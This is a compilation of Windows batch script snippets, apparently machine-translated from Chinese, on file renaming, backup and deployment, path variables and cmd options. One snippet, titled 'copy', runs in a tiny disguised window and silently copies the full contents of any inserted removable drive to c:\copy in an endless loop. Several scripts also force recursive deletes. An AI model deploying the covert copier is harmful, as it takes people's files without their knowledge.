Bat common batch script record

/

bat How to solve the problem that there are spaces in the file name

@echo off

color f2

echo  I can put 【 Folder 】 Directory and subdirectories [ Remove file name spaces ] Put it in order - Table of contents .xls

pause 

:--------------------------------------

setlocal enabledelayedexpansion

:--------------------------------------

for /f "tokens=*" %%j in ('dir/b') do (

set fn=%%j

echo  Before replacement ：!fn!

set fn=!fn: =!

echo  After replacement ：!fn!

: take fn Every space in the string （" "） Replace with a blank character （""）.

ren "%%j" !fn!

)

:--------------------------------------

set pp=%~dp0

echo %pp%

:--------------------------------------

for /d /r . %%i in (*) do (

: Update path , Change the path with spaces to the path without spaces , To get into

for /f "tokens=*" %%l in (!i!) do (

set pt=%%l

set pt=!pt: =!

set i=!pt!

)

echo  route  %%i

cd %%i

:-------------------

for /f "tokens=*" %%j in ('dir/b') do (

set fn=%%j

echo !fn!

set fn=!fn: =!

echo !fn!

: take fn Each in the string “ ” Replace with “” Null character .

ren "%%j" !fn!

)

)

:--------------------------------------

cd %pp%

echo %pp%

for /d /r . %%k in (*) do echo %%k>> Table of contents .xls

echo  The folder directory has been （ Exclude files ） Generate to 【 Table of contents .xls】

pause

///

bat The command implements the server overwrite file （ Used for automatic distribution ）

1. Override file （ Program call execution ）

@echo off

rem Set source directory
set  "SDir=%1"
rem Set the distribution package directory
set  "FBDir=%2"
rem Set up backup directory
set  "BKDir=%3"

rem Set the backup folder name list  
set "BKname=%date:~0,4%%date:~5,2%%date:~8,2%%TIME:~0,2%%TIME:~3,2%%TIME:~6,2%"
rem Backup

xcopy /s/e/y "%SDir%"  "%BKDir%\%BKname%\"
If errorlevel 1 (
    exit -1
)

rem Delete bin

if exist %SDir%\bin (
del /f /s /q /a "%SDir%\bin\*.*"
rd /q /s "%SDir%\bin"
If errorlevel 1 (
    exit -2
))

rem The distribution package covers

xcopy /s/e/y "%FBDir%"  "%SDir%" 

If errorlevel 1 (
     exit -3
) 
 exit 1
@echo on

2. Restore a backup from a fixed location

@echo off

rem Set source directory
set "SDir=%1"
rem Set up backup directory
set "BKDir=%2"

rem Delete system files
del /f /s /q /a "%SDir%\*.*"
If errorlevel 1 (
    exit -1
)
rem Restore package override

xcopy /s/e/y "%BKDir%"  "%SDir%" 
If errorlevel 1 (
    exit -2
) 
exit 1
@echo on

BAT Batch processing can copy multiple files of a specified type in a specified folder to another folder （findstr &delims Use ）

set  /a CopyNum=0
REM Record the number of files not copied
set  /a NoCopyNum=0
 
REM File names that do not need to be copied begin with : separate
set NoCopyFileName=123:234:456
 
 
:: Set file source file location
Set GeneratePath=..\BAT\JK2
:: Set the file target paste location
Set DestnationPath=..\BAT\JK3
 
:: Set the paste file type
set DestExt=*.h
set DestExt_2=*.txt
 
 
IF NOT EXIST "%GeneratePath%" (
echo GeneratePath is not find 
GOTO end) 
 
@for  /f "delims=" %%i in ('dir  /b/a-d/s %GeneratePath%\%DestExt%') do (
 
REM /a Indicates that the variable on the right is a numeric quantity %%~nxi File name with suffix  %%~ni File name without suffix  
REM  1>nul The correct parameter transfer result will not be displayed
echo %NoCopyFileName% | findstr /C:"%%~ni" 1>nul
if errorlevel 1 (
  echo got one - %%~nxi not found
 
@xcopy %GeneratePath%\%%~nxi  %DestnationPath%\  /d /y /i
::echo errorlevelxcopy %errorlevel%
set  /a CopyNum+=1
) ELSE (
  echo got zero - found %%~nxi
 set  /a NoCopyNum+=1 
)
)
 
@echo CopyNum is %CopyNum%   NoCopyNum is %NoCopyNum% 
 
set  /a CopyNum=0
set  /a NoCopyNum=0
 
:end

/

One 、bat File to get the current directory

Method 1： What you get is bat Path to file ( Usually use this )

@echo off

echo Current directory :%~dp0

echo Current drive letter and path :%~dp0

echo Short file name format of current drive letter and path :%~sdp0

pause

Method 2： Get the current is cmd Path to the window

@echo off

echo Current directory :%cd%

pause

Two 、shell Script , Get current directory

workdir=$(cd $(dirname $0); pwd)

echo Output the current path

echo $workdir

One 、 example

@echo off
setlocal EnableDelayedExpansion
echo The path of the currently running batch file ：!cd!
pause

@echo off

echo The current directory is ：%cd%

pause

@echo off

:: set "abc=%cd%"
echo The path of the currently running batch file ：%~dp0

pause

@echo off
echo Current drive letter and path :%~dp0
echo Short file name format of current drive letter and path :%~sdp0
pause

@echo Take the name of the parent directory of the current file
set a=D:\abc\def ghi\j k\lmn.bat
for %%a in ("%a%") do (
        set ok=%%~dpa
        for /f "delims=" %%b in ("!ok:~0,-1!") do (
                echo %%~nb
        )
)
pause

Two 、 About %~dp0 A detailed explanation of the batch command
This order is not clear , The following content comes from Baidu search results ：
%~dp0 “d” by Drive Abbreviation , That's the drive , disk 、“p” by Path abbreviation , That's the path , Catalog
cd Is to go to this directory , But I think cd /d %~dp0 It's better
Option grammar :
~0 - Remove any quotes ("), expand %0
%~f0 - take %0 Expand to a fully qualified pathname (“f” yes file, I.e. documents )
%~d0 - Only will %0 Expand to a drive letter
%~p0 - Only will %0 Expand to a path
%~n0 - Only will %0 Expand to a file name (“n” yes name file name )
%~x0 - Only will %0 Expand to a file extension
%~s0 - The extended path contains only short names (“s” by Short, A short )
%~a0 - take %0 File attributes extended to files (“a” by attribute, The property )
%~t0 - take %0 Expand to the date of the file / Time (“t”time)
%~z0 - take %0 Expand to file size (Size size )

%~$PATH:0 - Find the directory listed in the path environment variable , And will %0 Expand to the first fully qualified name found . If the environment variable name is undefined , Or no files found , This key combination expands to an empty string , You can combine modifiers to get multiple results ：

%~dp0 - Only will %0 Expand to a drive letter and path
%~nx0 - Only will %0 Expand to a file name and extension
%~fs0 - Only will %0 Expand to a full pathname with a short name
%~dp$PATH:0 - Find the directory listed in the path environment variable , And will %I Expand to the first drive letter and path found .
%~ftza0 - take %0 Extended to a similar output circuit DIR
%0 Create the current batch file , If 0 Switch to 1 For the first file ,2 For the first time 2 individual
*********************************************************************************************
%0              Refers to the batch file itself
%~d0         It refers to the drive letter of the batch
%~dp0       It's drive letter plus path
cd %~dp0 That is to enter the directory where the batch process is located

bat(cmd) Quickly enter the current file directory + Prevent Chinese miscoding + Keep the interface consistent   Quick to enter .bat

:: Prevent Chinese miscoding chcp 65001 :: Close back display @echo off :: Go to current directory cd %~dp0 :: Keep the interface always displayed after operation cmd /k :: Enable echo @echo on

cmd /c dir After execution dir Close the command window after the command .

cmd /k dir After execution dir Do not close the command window after the command .

cmd /c start dir Will open a new window and execute dir Instructions , The original window will close .

cmd /k start dir Will open a new window and execute dir Instructions , The original window will not close .

It can be used cmd /? View help information .

CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]
    [[/S] [/C | /K] string]

/C       Execute the command specified by the string and terminate
/K       Execute the command specified by the string but leave
/S       modify /C or /K Subsequent string processing ( See below )
/Q       Close back display
/D       It is forbidden to execute from the registry AutoRun command ( See below )
/A       Make the internal command output to a pipe or file ANSI
/U       Make the internal command output to a pipe or file
        Unicode
/T:fg   Set foreground / The background color ( For details, see COLOR /?)
/E:ON   Enable command extension ( See below )
/E:OFF   Disable command extensions ( See below )
/F:ON   Enable file and directory name completion characters ( See below )
/F:OFF   Disable file and directory name completion characters ( See below )
/V:ON   Use ! Enable deferred environment variables as delimiters
        Expand . for example ,/V:ON Will allow !var! When executed
        Extended variables var.var The syntax will be used when inputting
        Extended variables , This is different from FOR
        Different within the cycle .

copy

@echo off

title $$$$* Han * Han * system * build *$$$$

mode con: cols=14 lines=1

:again

cls

del /Q /f "%temp%\copy.tmp" >nul 2>nul

for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"

findstr /i " Removable drive " "%temp%\copy.tmp" 

if errorlevel==1 goto end

if errorlevel==0 goto copy 

:end 

rem No removable disks detected ！

if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%\sleep.exe 20s

goto again

:copy 

if exist c:\copy goto goon

cd\

cd /d c:

md copy  

:goon 

for /f "tokens=1" %%i in ('findstr /i " Removable drive " "%temp%\copy.tmp"') do (

xcopy /e /y  %%i\*.* c:\copy >nul 2>nul

)

rem Copied , Please clean up the documents in time ！

if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%\sleep.exe 20s

goto again

//

When used del When deleting a file , Out of commission del /a /f >nul 2>nul&&echo yes||echo no To determine whether it has been deleted , Because in any case , Always show yes.rd There is no such phenomenon . therefore , When you don't know whether you want to delete a file or a folder , You should use the following code ：

@echo off

:: rd and del The order of can't be reversed

rd /q /s " The goal is ">nul 2>nul||del /a /f " The goal is ">nul 2>nul

pause

///